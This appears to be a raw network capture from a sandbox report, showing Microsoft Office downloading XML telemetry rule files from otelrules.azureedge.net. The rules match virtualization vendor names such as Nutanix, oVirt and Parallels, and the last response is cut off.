2024-11-17 11:35:22 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 11:35:22 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C710B28" x-ms-request-id: b85626fa-d01e-0017-75bb-37b035000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T113522Z-16547b76f7f5b5tthC1DFWuk8400000002y0000000001wr3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 11:35:22 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 49 69 5d 5b 4e 6e 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 54 74 5d 5b 45 65 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120653" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <SR T="2" R="([Ii][Nn][Nn][Oo][Tt][Ee][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
61	192.168.2.6	49775	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:23 UTC	192	OUT	GET /rules/rule120655v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 11:35:23 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 11:35:23 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7F164C3" x-ms-request-id: 49f8120e-101e-0046-25ca-3691b0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T113523Z-164f84587bft9l9khC1DFW32rc000000044g00000000ad52 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 11:35:23 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 49 69 5d 5b 4d 6d 5d 5b 42 62 5d 5b 4f 6f 5d 5b 58 78 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120655" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <SR T="2" R="([Nn][Ii][Mm][Bb][Oo][Xx][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
62	192.168.2.6	49776	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:23 UTC	192	OUT	GET /rules/rule120656v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 11:35:23 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 11:35:23 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:04 GMT ETag: "0x8DC582BA48B5BDD" x-ms-request-id: 5823ae44-501e-0078-6fcd-3706cf000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T113523Z-16547b76f7f7zzl8hC1DFWmtag000000032000000000asev x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 11:35:23 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120656" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
63	192.168.2.6	49777	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:23 UTC	192	OUT	GET /rules/rule120657v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 11:35:23 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 11:35:23 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:57 GMT ETag: "0x8DC582B9FF95F80" x-ms-request-id: 33178deb-401e-0048-6eb6-370409000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T113523Z-16547b76f7ftfv4jhC1DFWuhug00000001qg00000000det0 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 11:35:23 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 55 75 5d 5b 54 74 5d 5b 41 61 5d 5b 4e 6e 5d 5b 49 69 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120657" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <SR T="2" R="([Nn][Uu][Tt][Aa][Nn][Ii][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
64	192.168.2.6	49778	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:23 UTC	192	OUT	GET /rules/rule120658v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 11:35:23 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 11:35:23 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:34 GMT ETag: "0x8DC582BB650C2EC" x-ms-request-id: 0e1f71f1-101e-0034-76a7-3796ff000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T113523Z-16547b76f7fp6s5dhC1DFWe28g00000001k0000000001tq9 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 11:35:23 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120658" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
65	192.168.2.6	49774	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:24 UTC	192	OUT	GET /rules/rule120654v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 11:35:24 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 11:35:24 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:05 GMT ETag: "0x8DC582BA54DCC28" x-ms-request-id: 4dbbda22-e01e-0033-5212-374695000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T113524Z-164f84587bfghdt4hC1DFWu5nn00000003y000000000bcs9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 11:35:24 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120654" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
66	192.168.2.6	49779	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:24 UTC	192	OUT	GET /rules/rule120659v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 11:35:24 UTC	498	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 11:35:24 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3EAF226" x-ms-request-id: 9ba9b484-c01e-00ad-5d7f-37a2b9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T113524Z-1866b5c5fbb2ngs6hC1DFW402w00000002c000000000ah9p x-fd-int-roxy-purgeid: 0 X-Cache-Info: L2_T2 X-Cache: TCP_REMOTE_HIT Accept-Ranges: bytes
2024-11-17 11:35:24 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 50 70 5d 5b 45 65 5d 5b 4e 6e 5d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 43 63 5d 5b 4b 6b 5d 20 5b 46 66 5d 5b 4f 6f 5d 5b 55 75 5d 5b 4e 6e 5d 5b 44 64 5d 5b 41 61 5d 5b 54 74 5d 5b 49 69 5d 5b 4f 6f 5d 5b 4e 6e 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120659" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <SR T="2" R="([Oo][Pp][Ee][Nn][Ss][Tt][Aa][Cc][Kk] [Ff][Oo][Uu][Nn][Dd][Aa][Tt][Ii][Oo][Nn])"> <S T="1" F="1" M="I

Session ID	Source IP	Source Port	Destination IP	Destination Port
67	192.168.2.6	49780	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:24 UTC	192	OUT	GET /rules/rule120660v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 11:35:24 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 11:35:24 GMT Content-Type: text/xml Content-Length: 485 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:39 GMT ETag: "0x8DC582BB9769355" x-ms-request-id: cb36dd23-401e-0067-3b09-3709c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T113524Z-16547b76f7ff9zf4hC1DFW2pfc00000001u0000000007bp9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 11:35:24 UTC	485	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120660" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
68	192.168.2.6	49781	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:24 UTC	192	OUT	GET /rules/rule120662v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 11:35:24 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 11:35:24 GMT Content-Type: text/xml Content-Length: 470 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBB181F65" x-ms-request-id: bbf47203-201e-003f-3a8e-376d94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T113524Z-16547b76f7f9s8x7hC1DFWywrg00000003xg00000000cukz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-17 11:35:24 UTC	470	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120662" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
69	192.168.2.6	49782	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:24 UTC	192	OUT	GET /rules/rule120661v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 11:35:24 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 11:35:24 GMT Content-Type: text/xml Content-Length: 411 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989AF051" x-ms-request-id: 2bae05a1-901e-00a0-0ba2-376a6d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T113524Z-1866b5c5fbbldb6rhC1DFW4bew00000004ag00000000cr56 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 11:35:24 UTC	411	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 56 76 5d 5b 49 69 5d 5b 52 72 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120661" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <SR T="2" R="([Oo][Vv][Ii][Rr][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
70	192.168.2.6	49783	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:25 UTC	192	OUT	GET /rules/rule120663v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 11:35:25 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 11:35:25 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB556A907" x-ms-request-id: f3ae074e-d01e-0082-62af-36e489000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T113525Z-1866b5c5fbbz7hb5hC1DFWru7c000000048000000000225w x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 11:35:25 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 52 72 5d 5b 41 61 5d 5b 4c 6c 5d 5b 4c 6c 5d 5b 45 65 5d 5b 4c 6c 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120663" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <SR T="2" R="([Pp][Aa][Rr][Aa][Ll][Ll][Ee][Ll][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
71	192.168.2.6	49784	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:25 UTC	192	OUT	GET /rules/rule120664v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 11:35:25 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 11:35:25 GMT Content-Type: text/xml Content-Length: 502 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6A0D312" x-ms-request-id: b301b02c-001e-0014-179f-375151000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T113525Z-1866b5c5fbb7km9phC1DFWr2sc0000000350000000002fxq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 11:35:25 UTC	502	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120664" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <TH 